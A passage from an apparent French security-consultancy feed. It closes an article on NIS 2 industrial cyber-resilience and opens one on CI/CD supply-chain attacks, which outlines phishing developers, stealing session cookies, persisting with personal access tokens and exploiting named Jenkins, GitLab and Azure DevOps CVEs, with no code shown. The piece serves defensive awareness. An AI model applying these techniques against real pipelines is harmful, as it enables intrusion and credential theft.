<p><span data-contrast="auto">La Directive NIS2, notamment le référentiel RECYF de l’ANSSI, vient supporter cet effort en intégrant des obligations claires sur la cyber-résilience pour les entités essentielles et importantes.</span></p>
<p><span data-contrast="auto">Par où commencer, quels obstacles anticiper, et comment bâtir une résilience OT à la hauteur des exigences de NIS 2 ?</span></p>
<h1><b><span data-contrast="auto">NIS 2 et la résilience industrielle : exigences et état des lieux</span></b></h1>
<h2><b><span data-contrast="auto">Ce que NIS 2 impose concrètement</span></b></h2>
<p><span style="color: #451dc7;"><i>L&rsquo;intégration croissante de l&rsquo;IT dans les processus industriels (MES, ERP connectés aux lignes, abandon progressif des processus papier) a profondément modifié la réalité opérationnelle des usines. Les dépendances sont nombreuses, souvent mal cartographiées, et une défaillance IT peut bloquer l&rsquo;OT même lorsque les équipements physiques sont intacts. A ce titre, la capacité des milieux industriels à être plus résilient aux attaques cyber apparaît comme un chantier prioritaire.</i></span></p>
<p><span data-contrast="auto">La directive NIS 2, élargit significativement le périmètre des entités soumises par rapport à sa version antérieure, et vise à adresser parmi ses priorités, la cyber-résilience des entités. Deux objectifs sont particulièrement structurants en matière de résilience :</span></p>
<p style="text-align: center;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> <img loading="lazy" decoding="async" class="alignnone  wp-image-30467" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig2-389x191.png" alt="" width="887" height="436" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig2-389x191.png 389w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig2-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig2-768x377.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig2-1536x753.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig2.png 1902w" sizes="auto, (max-width: 887px) 100vw, 887px" /></span></p>
<h2><b><span data-contrast="auto">E</span></b><b><span data-contrast="auto">tat des lieux sur la cyber-résilience en milieu industriel</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto">Si les organisations industrielles ont progressivement investi dans la sécurisation de leurs environnements OT, la maturité sur la continuité et la reprise reste insuffisante pour répondre aux exigences de NIS 2. Plusieurs lacunes sont systématiquement observées :</span></p>
<ul>
<li><span data-contrast="auto"><strong>Manque de connaissance formelle des assets</strong> et de leur criticité :</span>
<ul>
<li><span data-contrast="auto">Cartographie des actifs souvent non formalisé ou incomplet</span></li>
<li><span data-contrast="auto">BIA absent ou partiellement réalisé</span></li>
</ul>
</li>
<li><span data-contrast="auto"><strong>Les PCA métiers existants sont conçus pour des scénarios physiques ou IT traditionnels</strong> <strong>mais pas pour des enjeux cyber OT</strong></span></li>
<li><span data-contrast="auto"><strong>Les capacités de continuité et de reprise ne sont pas testées</strong> : les organisations se limitent à des tests unitaires ou des restaurations de VM isolées, sans jamais couvrir une ligne de production complète ou un scénario bout en bout. Plusieurs facteurs expliquent cette situation :</span></li>
</ul>
<p style="text-align: center;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> <img loading="lazy" decoding="async" class="wp-image-30463 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3-343x191.png" alt="" width="964" height="537" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3-343x191.png 343w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3-768x427.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3-1536x854.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3-1170x650.png 1170w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig3.png 1611w" sizes="auto, (max-width: 964px) 100vw, 964px" /></span></p>
<p><span data-contrast="auto">Sans maturation sur ces sujets, un incident cyber peut se traduire par des semaines d&rsquo;arrêt.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1><b><span data-contrast="auto">Par où commencer pour bâtir une résilience OT à la hauteur de NIS 2 ?</span></b></h1>
<p style="text-align: center;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;469777462&quot;:[3030],&quot;469777927&quot;:[0],&quot;469777928&quot;:[1]}"><img loading="lazy" decoding="async" class="wp-image-30459 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig4-311x191.png" alt="" width="837" height="514" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig4-311x191.png 311w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig4-63x39.png 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig4-768x472.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig4.png 1184w" sizes="auto, (max-width: 837px) 100vw, 837px" /></span></p>
<h2><b><span data-contrast="auto">Fondations et prérequis</span></b></h2>
<p><span data-contrast="auto">Avant de construire un plan de reprise ou de tester quoi que ce soit, il faut établir les fondations : <strong>définir ce qu&rsquo;on protège, définir comment l&rsquo;activité se maintient en cas d&rsquo;incident, et déterminer ce qui doit être sauvegardé.</strong></span><strong> </strong></p>
<h2><b><span data-contrast="auto">Quels acteurs intégrer au démarrage ?</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto">Un programme de cyber-résilience piloté uniquement par les équipes Cyber ou IT risque de ne pas refléter les réalités opérationnelles et de ne pas répondre aux véritables enjeux métiers : sans la participation et compréhension de l’enjeu par les opérateurs, le chantier aura du mal à avancer. Cela passe par une phase d&rsquo;évangélisation : expliquer concrètement ce qu&rsquo;un incident coûte à leur activité, et identifier dès le départ les bons interlocuteurs dans chaque direction.</span></p>
<h2><b><span data-contrast="auto">Quels périmètres métiers prioriser ?</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto">L&rsquo;objectif pour la cyber-résilience n&rsquo;est pas de produire un inventaire exhaustif du parc industriel. <strong>Il s&rsquo;agit d’identifier les actifs qui portent les processus critiques pour l&rsquo;activité.</strong> Le point de départ est de créer un PCA à l’échelle de l’entreprise, puis un BIA à l’échelle des sites qui permettront de définir les DMIA et PRD par processus critique.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">La collecte s&rsquo;appuie sur une approche hybride :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><span data-contrast="auto"><strong>Entretiens opérationnels</strong> avec les équipes terrain</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto"><strong>Exploitation des documents d’architecture et des configurations</strong> afin d’identifier les dépendances supplémentaires</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<p><span style="color: #451dc7;"><i>Les sondes peuvent apparaître comme un bon choix mais elles ne détectent que les assets qui émettent du trafic. Un équipement qui ne communique pas à un instant T disparaît de la cartographie. En OT, bon nombre d’équipements sont configurés une fois puis fonctionnent en autonomie, ce qui limite fortement leur visibilité réseau. De plus, certains systèmes sont totalement standalone et n’émettent aucun trafic, alors même qu’ils peuvent être critiques pour l’activité. Se reposer uniquement sur des sondes donne donc une vision partielle et parfois trompeuse de l’environnement, avec un risque réel de passer à côté d’équipements essentiels.</i> </span></p>
<h2><b><span data-contrast="auto">Quelles données sauvegarder et comment ?</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto"><strong>La cartographie permet de recenser et prioriser les systèmes à protéger en fonction de leur criticité validée avec les équipes métiers</strong>. Ensuite, pour chaque asset, on définit le contenu minimum à sauvegarder et leur fréquence : </span></p>
<p style="text-align: center;"><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> <img loading="lazy" decoding="async" class="alignnone  wp-image-30455" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig5-437x176.png" alt="" width="787" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig5-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig5-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig5-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig5.png 1413w" sizes="auto, (max-width: 787px) 100vw, 787px" /></span></p>
<p><span data-contrast="auto">Indépendamment de la fréquence planifiée, il est recommandé d&rsquo;effectuer une sauvegarde après tout changement majeur afin de limiter la perte de configuration en cas d&rsquo;incident.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>Plusieurs <strong>principes structurent ensuite la stratégie de sécurisation des sauvegardes</strong> : </p>
<ul>
<li><span data-contrast="auto">Redondance, chiffrement, et immuabilité des sauvegardes</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">Air-gapping pour les environnements les plus sensibles</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">Politique de rétention différenciée par type d&rsquo;actif</span></li>
<li><span data-contrast="auto">Clauses contractuelles encadrant les obligations de sauvegarde des tiers</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<p><span style="color: #451dc7;"><i>Les infrastructures de sauvegarde ne sont pas de simples supports techniques : elles constituent elles-mêmes des cibles sensibles et doivent être traitées comme des systèmes critiques, avec le niveau de protection approprié.</i> </span></p>
<h2><b><span data-contrast="auto">Comment assurer la continuité en cas d’incident ?</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto">La <strong>première étape du PCA consiste à identifier les scénarios de crise à adresser,</strong> car ceux-ci déterminent les interlocuteurs à impliquer, les procédures à définir et les modes de fonctionnement à adopter. Ce travail est mené conjointement avec les équipes HSE, métiers, cybersécurité, risk management.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>Pour chaque processus critique identifié, il convient ensuite de définir, avec les équipes production, maintenance, et qualité : </p>
<p><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"><img loading="lazy" decoding="async" class=" wp-image-30451 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig6-437x131.png" alt="" width="904" height="271" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig6-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig6-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig6-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig6.png 1121w" sizes="auto, (max-width: 904px) 100vw, 904px" /></span></p>
<h1><b><span data-contrast="auto">Validation et reprise</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h1>
<h2><b><span data-contrast="auto">Comment valider le fonctionnement de la reprise ?</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h2>
<p><span data-contrast="auto">Un PRA non testé est un PRA théorique.</span></p>
<p>Les <strong>tests peuvent être effectués, pour limiter l’impact sur la production</strong> : </p>
<ul>
<li><span data-contrast="auto">Sur une infrastructure globale de test, mutualisée entre les différents sites,</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">Sur une ligne de test,</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">Pendant les fenêtres de maintenance,</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">En utilisant des jumeaux numériques.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<p><span data-contrast="auto">Ces tests doivent être validé au minimum une fois par an.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">La progression est graduelle :</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"><img loading="lazy" decoding="async" class=" wp-image-30447 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig7-420x191.png" alt="" width="899" height="409" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig7-420x191.png 420w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig7-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig7-768x349.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig7-1536x699.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig7.png 1739w" sizes="auto, (max-width: 899px) 100vw, 899px" /></span></p>
<p><span data-contrast="auto"><strong>Chaque test est documenté</strong> : DMIA et PRD réels mesurés, comparaison avec les cibles théoriques, écarts identifiés, actions correctives planifiées.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span style="color: #451dc7;"><i>Les objectifs de DMIA/PRD peuvent ne pas être réalistes dans le contexte d’une crise cyber majeure. Ils ne doivent donc pas constituer un facteur bloquant pour la réalisation des tests ni pour la validation des principes de cyber</i>‑<i>résilience au sens de NIS2.</i> </span></p>
<h2><b><span data-contrast="auto">Comment reconstruire après un incident ?</span></b><span data-ccp-props="{&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559685&quot;:0,&quot;335559731&quot;:539}"> </span></h2>
<p><span data-contrast="auto"><strong>Le PRA définit comment redémarrer les systèmes critiques après un sinistre.</strong> Il couvre plusieurs scénarios : panne matérielle, ransomware, perte du réseau OT.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p>Pour chaque scénario, il est nécessaire de : </p>
<ul>
<li><span data-contrast="auto">Définir le séquençage de redémarrage selon les dépendances entre systèmes</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">Documenter la chaîne d&rsquo;escalade et de décision</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><span data-contrast="auto">Définir clairement l’implication des tiers : conditions d’intervention, modalités de coordination, et exigences préalables de sécurisation (éradication du ransomware, environnement contrôlé type «</span><span data-contrast="auto"> </span><span data-contrast="auto">salle blanche</span><span data-contrast="auto"> </span><span data-contrast="auto">», reprise progressive avec cloisonnement)</span><span data-ccp-props="{&quot;201341983&quot;:2,&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559738&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:300}"> </span></li>
</ul>
<p><span style="color: #451dc7;"><i>Deux logiques de reprise doivent être distinguées : la perte de disponibilité (bascule vers des ressources de secours) et la perte d&rsquo;intégrité (reconstruction complète depuis les sauvegardes). Les procédures ne sont pas les mêmes et doivent être traitées séparément.</i> </span></p>
<h1><b><span data-contrast="auto">De la résilience des assets à la gestion de crise</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h1>
<p><span data-contrast="auto"><strong>Ce que nous avons décrit ici constitue le socle minimum pour enclencher une démarche de reprise en environnement OT</strong>. Mais NIS 2 exige d&rsquo;aller plus loin : c&rsquo;est l&rsquo;ensemble du SI qui est concerné, et la question n&rsquo;est plus seulement technique, c&rsquo;est celle d&rsquo;un programme structuré, piloté dans la durée, capable de prouver la conformité et la résilience des assets.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto"><strong>Cela implique de déployer cette démarche de façon pragmatique</strong>, en tenant compte des risques cyber, des contraintes réglementaires et des moyens disponibles. Cela implique aussi de ne pas en faire un projet ponctuel : la cyber-résilience doit être intégrée par design, avec des chantiers suivis, des preuves documentées, et des équipes métier embarquées sur le long terme.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Enfin, le marché propose aujourd&rsquo;hui des solutions dédiées à la résilience OT. Une veille active sur ce sujet peut s&rsquo;avérer précieuse pour identifier les outils adaptés.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="auto">Par ailleurs, <strong>la résilience ne s&rsquo;arrête pas à la reprise technique, elle intègre aussi la gestion de crise</strong> <strong>: </strong></span><a href="https://www.riskinsight-wavestone.com/2023/02/repenser-sa-strategie-de-preparation-a-la-gestion-de-crise-dorigine-cyber/"><span data-contrast="none">Repenser sa stratégie de préparation à la gestion de crise d’origine cyber &#8211; RiskInsight</span></a></p>
<h1><b><span data-contrast="auto">Glossaire</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h1>
<p><span data-ccp-props="{&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559685&quot;:0}"> <img loading="lazy" decoding="async" class="wp-image-30443 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig8-437x121.png" alt="" width="855" height="237" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig8-437x121.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig8-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig8-768x212.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/NIS2_FR_fig8.png 1527w" sizes="auto, (max-width: 855px) 100vw, 855px" /></span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/07/cyber-resilience-industrielle-par-ou-commencer-face-a-nis-2/">Cyber-résilience industrielle : par où commencer face à NIS 2 ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/07/cyber-resilience-industrielle-par-ou-commencer-face-a-nis-2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sécurité CI/CD : attaque de chaîne d’approvisionnement depuis un développeur compromis</title>
		<link>https://www.riskinsight-wavestone.com/2026/07/securite-ci-cd-attaque-de-chaine-dapprovisionnement-depuis-un-developpeur-compromis/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/07/securite-ci-cd-attaque-de-chaine-dapprovisionnement-depuis-un-developpeur-compromis/#respond</comments>
		
		<dc:creator><![CDATA[Meriem Abidi]]></dc:creator>
		<pubDate>Wed, 08 Jul 2026 07:54:48 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Eclairage]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[artefacts]]></category>
		<category><![CDATA[artifactory]]></category>
		<category><![CDATA[CI/CD]]></category>
		<category><![CDATA[CI/CD attacks]]></category>
		<category><![CDATA[CI/CD security]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Cloud security]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[pipeline]]></category>
		<category><![CDATA[Remediation]]></category>
		<category><![CDATA[runners]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=30370</guid>

					<description><![CDATA[<p>Dans les environnements DevOps modernes, les pipelines CI/CD automatisent le développement, les tests et le déploiement du code, permettant une livraison rapide et scalable tout en élargissant significativement la surface d’attaque. Les audits CI/CD réalisés en 2025 et 2026 ont...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/07/securite-ci-cd-attaque-de-chaine-dapprovisionnement-depuis-un-developpeur-compromis/">Sécurité CI/CD : attaque de chaîne d’approvisionnement depuis un développeur compromis</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Dans les <strong>environnements DevOps modernes</strong>, les <em>pipelines</em> CI/CD automatisent le développement, les tests et le déploiement du code, permettant une livraison rapide et scalable tout en élargissant significativement la surface d’attaque.</p>
<p style="text-align: justify;">Les audits CI/CD réalisés en 2025 et 2026 ont révélé que des <strong>identifiants exposés </strong>dans des <strong>dépôts</strong>, des <strong><em>runners</em> mal configurés</strong>, des <strong>stockages d’artefacts non sécurisés </strong>et des <strong>rôles cloud trop permissifs </strong>constituent autant de vecteurs d&rsquo;attaque que des acteurs malveillants peuvent exploiter afin d&rsquo;obtenir un accès persistant et fortement privilégié à l&rsquo;ensemble de l&rsquo;infrastructure.</p>
<p style="text-align: justify;">Une vue d’ensemble des outils DevOps est illustrée ci-dessous :</p>
<figure id="attachment_30332" aria-describedby="caption-attachment-30332" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30332" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/1-Outils-aux-usages-et-fonctions-multiples-pour-le-DevOps.png" alt="Outils aux usages et fonctions multiples pour le DevOps" width="911" height="422" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/1-Outils-aux-usages-et-fonctions-multiples-pour-le-DevOps.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/1-Outils-aux-usages-et-fonctions-multiples-pour-le-DevOps-412x191.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/1-Outils-aux-usages-et-fonctions-multiples-pour-le-DevOps-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/1-Outils-aux-usages-et-fonctions-multiples-pour-le-DevOps-768x356.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30332" class="wp-caption-text">Outils aux usages et fonctions multiples pour le DevOps</figcaption></figure>
<p style="text-align: justify;">Une compromission à n’importe quelle étape du <em>pipeline</em> peut ouvrir une voie vers des systèmes plus sensibles.</p>
<figure id="attachment_30358" aria-describedby="caption-attachment-30358" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/2-Outils-DevOps-pouvant-constituer-un-moyen-rapide-pour-les-attaquants-dobtenir-un-acces-a-privileges-eleves-sur-le-systeme-dinformation.png" alt="Outils DevOps pouvant constituer un moyen rapide pour les attaquants d’obtenir un accès à privilèges élevés sur le système d’information" width="911" height="380" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/2-Outils-DevOps-pouvant-constituer-un-moyen-rapide-pour-les-attaquants-dobtenir-un-acces-a-privileges-eleves-sur-le-systeme-dinformation.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/2-Outils-DevOps-pouvant-constituer-un-moyen-rapide-pour-les-attaquants-dobtenir-un-acces-a-privileges-eleves-sur-le-systeme-dinformation-437x182.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/2-Outils-DevOps-pouvant-constituer-un-moyen-rapide-pour-les-attaquants-dobtenir-un-acces-a-privileges-eleves-sur-le-systeme-dinformation-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/2-Outils-DevOps-pouvant-constituer-un-moyen-rapide-pour-les-attaquants-dobtenir-un-acces-a-privileges-eleves-sur-le-systeme-dinformation-768x320.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30358" class="wp-caption-text">Outils DevOps pouvant constituer un moyen rapide pour les attaquants d’obtenir un accès à privilèges élevés sur le système d’information</figcaption></figure>
<p style="text-align: justify;">Cet article décrit <strong>une chaîne d’attaque CI/CD représentative visant un environnement CI/CD, </strong>fondée sur des scénarios observés en conditions réelles. Il met en évidence les vecteurs d&rsquo;attaque les plus couramment exploités ainsi que les principales mesures de durcissement permettant de réduire la surface d&rsquo;attaque à chaque étape du pipeline, depuis le code source jusqu&rsquo;au déploiement en production.</p>
<p> </p>
<h2>La chaîne d’attaque: de la reconnaissance à la persistance</h2>
<h3>Reconnaissance et accès initial</h3>
<p style="text-align: justify;">La chaîne d’attaque débute généralement par <strong>une attaque de phishing ciblant les développeurs</strong> afin de <strong>voler des identifiants et des codes MFA</strong>, bien que le MFA puisse lui-même être contourné via le vol de <strong>jetons d’accès</strong> ou de <strong>détournement de sessions.</strong></p>
<figure id="attachment_30334" aria-describedby="caption-attachment-30334" style="width: 911px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-30334" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/3-Attaque-de-Phishing-reussie.png" alt="Attaque de Phishing réussie" width="911" height="479" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/3-Attaque-de-Phishing-reussie.png 911w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/3-Attaque-de-Phishing-reussie-363x191.png 363w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/3-Attaque-de-Phishing-reussie-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/07/3-Attaque-de-Phishing-reussie-768x404.png 768w" sizes="auto, (max-width: 911px) 100vw, 911px" /><figcaption id="caption-attachment-30334" class="wp-caption-text">Attaque de Phishing réussie</figcaption></figure>
<p style="text-align: justify;">Il convient de noter que la <strong>compromission d’identifiants seule </strong>n’est <strong>pas toujours suffisante</strong> pour accéder directement à des portails administratifs sensibles. Les <strong>contrôles de sécurité</strong> autour des interfaces d’administration <strong>Microsoft 365</strong> ont été <strong>renforcés</strong> par des mécanismes de MFA ainsi que, le cas échéant, par des politiques d’accès conditionnel, limitant l’impact du phishing sur les accès hautement privilégiés.</p>
<p style="text-align: justify;">Cependant, <strong>dans les environnements d’entreprise modernes</strong> où <strong>la majorité des applications reposent sur le Single Sign-On (SSO),</strong> la compromission d’une session Microsoft (par exemple via le <strong>vol</strong> de <strong>cookies</strong> de <strong>session</strong>) peut donner aux attaquants accès à un large éventail de services interconnectés, incluant les dépôts de code et les plateformes CI/CD. Les attaquants utilisent généralement ce point d’entrée initial pour identifier les environnements de développement et <strong>établir une persistance</strong> via des mécanismes tels que les <strong>Jetons d&rsquo;accès personnels (PAT).</strong></p>
<p style="text-align: justify;">Un risque souvent négligé survient lorsqu’un <strong>compte utilisateur est désactivé</strong> au niveau du fournisseur d’identité (ex. <strong>Entra ID</strong>) mais n’est <strong>pas entièrement désactivé </strong>dans les plateformes de dépôt. Dans ce cas, <strong>des PATs précédemment émis</strong> peuvent rester valides, permettant à un attaquant de conserver un accès malgré la révocation du compte.</p>
<p style="text-align: justify;">D’autres vecteurs d’entrée incluent <strong>l’exploitation de CVE connues</strong> ainsi qu&rsquo;une mauvaise gestion des identifiants. De nombreuses vulnérabilités majeures sur les outils DevOps sont régulièrement découvertes, ce qui souligne la nécessité d’une gestion continue des vulnérabilités. <strong>L’exploitation</strong> d’une <strong>vulnérabilité critique</strong> peut directement <strong>fournir un accès privilégié à un outil de la chaîne</strong>.</p>
<p style="text-align: justify;">Exemples :</p>
<ul>
<li style="text-align: justify;"><span style="color: #808080;"><a style="color: #808080;" href="https://nvd.nist.gov/vuln/detail/cve-2024-23897"><strong>CVE-2024-23897</strong></a></span><strong> (Jenkins)</strong>, permettant à des attaquants non authentifiés de lire des fichiers arbitraires présents sur le contrôleur Jenkins, exposant ainsi des secrets sensibles,</li>
<li style="text-align: justify;"><span style="color: #808080;"><a style="color: #808080;" href="https://nvd.nist.gov/vuln/detail/cve-2023-7028"><strong>CVE-2023-7028</strong></a></span><strong> (GitLab)</strong>, dans laquelle les emails de réinitialisation de mot de passe pouvaient être envoyés vers une adresse électronique non vérifiée.</li>
<li style="text-align: justify;"><span style="color: #808080;"><a style="color: #808080;" href="https://nvd.nist.gov/vuln/detail/cve-2023-36561"><strong>CVE-2023-36561</strong></a></span><strong> (Azure DevOps Server)</strong>, une vulnérabilité d&rsquo;élévation de privilèges permettant à un attaquant d&rsquo;obtenir un accès non autorisé à certaines fonctionnalités d&rsquo;Azure DevOps Server, avec un impact potentiel sur les pipelines, les secrets et les ressources des projets.</li>
</ul>
<p> </p>
<p style="text-align: justify;"><strong><u>REMÉDIATION – Renforcer les contrôles d’accès aux dépôts de code source</u></strong></p>
<p style="text-align: justify;">Afin de réduire les risques liés à l&rsquo;accès initial, les organisations doivent mettre en œuvre des contrôles permettant d&#8217;empêcher les accès non autorisés, de détecter les mécanismes de persistance et de renforcer la gouvernance des identités.</p>
